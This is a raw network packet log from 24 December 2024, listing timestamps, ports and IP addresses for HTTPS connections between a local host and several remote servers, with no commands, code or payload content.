Dec 24, 2024 19:28:36.062854052 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:36.062870979 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.062968969 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.064088106 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.064107895 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:36.314688921 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:36.314735889 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:36.314878941 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:36.315258980 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:36.315272093 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:36.548480034 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.548573017 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:36.548691034 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.550107956 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.550147057 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:36.611499071 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.611565113 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:36.611675024 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.612134933 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.612154007 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:36.612498045 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.612538099 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:36.612723112 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.612932920 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:36.612945080 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:36.614872932 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.614919901 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:36.614996910 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.615364075 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.615379095 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:36.615698099 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.615721941 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:36.615777016 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.615988016 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:36.615999937 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:37.064505100 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.064742088 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.064770937 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.065651894 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.065706015 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.067140102 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.067202091 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.067882061 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.067919016 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.067955017 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.067992926 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:37.113358974 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:37.354398012 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.354650974 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:37.354687929 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.355038881 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.355385065 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:37.355452061 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.355619907 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:37.403348923 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.445983887 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.446055889 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.446173906 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.448858023 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.448877096 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.713360071 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.713407993 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.713550091 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.713835001 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.713850021 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.801692963 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.801780939 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.801846981 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:37.802978992 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:37.803000927 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:37.823594093 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.824522018 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.824569941 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.824613094 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.824872017 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.824898958 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.825654030 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.825820923 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.826638937 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.826731920 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.826739073 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.826816082 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.827218056 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.828083038 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.868130922 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.868165970 CET	443	50052	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.873229980 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:37.876030922 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:37.876051903 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:37.876570940 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:37.877029896 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:37.877029896 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:37.877044916 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:37.877108097 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:37.884849072 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.884869099 CET	443	50053	23.44.203.82	192.168.2.6
Dec 24, 2024 19:28:37.916203022 CET	50052	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.925918102 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:37.925920010 CET	50053	443	192.168.2.6	23.44.203.82
Dec 24, 2024 19:28:37.959073067 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.959163904 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.960840940 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.960846901 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961249113 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961252928 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961433887 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961442947 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961447954 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961458921 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961546898 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961558104 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961564064 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961569071 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.961810112 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.961831093 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.962034941 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.962049007 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.962059975 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.962069035 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:37.962210894 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:37.962219954 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:38.155253887 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.155708075 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.155731916 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.155750036 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.156363964 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.156383038 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.156719923 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.156851053 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.157367945 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.157464981 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.157908916 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.157957077 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.158864021 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.158912897 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.208154917 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.208161116 CET	443	50054	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.208184004 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.208194017 CET	443	50055	204.79.197.219	192.168.2.6
Dec 24, 2024 19:28:38.255940914 CET	50055	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.256156921 CET	50054	443	192.168.2.6	204.79.197.219
Dec 24, 2024 19:28:38.320770979 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:38.321029902 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:38.321259975 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:38.322316885 CET	50050	443	192.168.2.6	20.110.205.119
Dec 24, 2024 19:28:38.322335005 CET	443	50050	20.110.205.119	192.168.2.6
Dec 24, 2024 19:28:38.462179899 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:38.462831974 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:38.462851048 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:38.462903976 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:38.462929010 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:38.462949991 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:39.113449097 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.113699913 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.117408991 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.117417097 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119371891 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119375944 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119435072 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119452953 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119474888 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119479895 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119529009 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119545937 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119551897 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119558096 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119627953 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119640112 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119640112 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119648933 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119661093 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119735956 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119752884 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119752884 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119765043 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119771004 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119777918 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119796038 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119805098 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119849920 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119862080 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119868040 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119872093 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119888067 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119898081 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.119962931 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.119968891 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.120006084 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120018005 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.120064020 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120093107 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120138884 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120160103 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120170116 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120177984 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120217085 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120263100 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120281935 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120305061 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.120312929 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.167326927 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.167663097 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168023109 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168056965 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168075085 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168104887 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168122053 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168138981 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168173075 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168210030 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.168237925 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215328932 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.215472937 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215555906 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215578079 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215620041 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215655088 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.215672016 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.263333082 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.267024994 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.307337046 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361735106 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361818075 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361865044 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.361876965 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.361886978 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361892939 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.361913919 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361953020 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.361973047 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.361990929 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.362056971 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.407325983 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.482024908 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.482144117 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.482182026 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.482218027 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.482254982 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.482290030 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.482300043 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.523367882 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.523686886 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.571326971 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.603450060 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.603575945 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.603586912 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.603634119 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.603647947 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.603677034 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.603712082 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.603730917 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.603766918 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.607079983 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.609208107 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.609270096 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.609385967 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.609405994 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.610938072 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.648240089 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.648370028 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.648394108 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.648431063 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.648637056 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.648669004 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.648694038 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.651101112 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.651130915 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.695319891 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.695512056 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.726371050 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.726424932 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.726517916 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.726661921 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.726695061 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.729476929 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.729593992 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.729597092 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.729629040 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.729809999 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.729840040 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.733822107 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.733947992 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.733989954 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.735126972 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.735162973 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.735191107 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.736893892 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.736910105 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.737018108 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.737041950 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.737226009 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.737236023 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.737247944 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.737570047 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.738171101 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.738224030 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.738341093 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.738360882 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.738390923 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.745012045 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.745099068 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.745106936 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.745137930 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.753031969 CET	50051	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.753043890 CET	443	50051	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.756411076 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.756436110 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.756513119 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.757278919 CET	50071	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.757286072 CET	443	50071	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.783325911 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.783457994 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.831331015 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.840734959 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.840878010 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.840919971 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.841178894 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.843456030 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.843482971 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.844146013 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.844854116 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.844980955 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.844990969 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.845007896 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.845041037 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.845073938 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.845105886 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.845105886 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.845135927 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.845177889 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.845683098 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.846277952 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.846311092 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.846328020 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847248077 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847332001 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847378016 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847426891 CET	50062	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:39.847436905 CET	443	50062	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:39.847464085 CET	50062	443	192.168.2.6	188.245.216.205
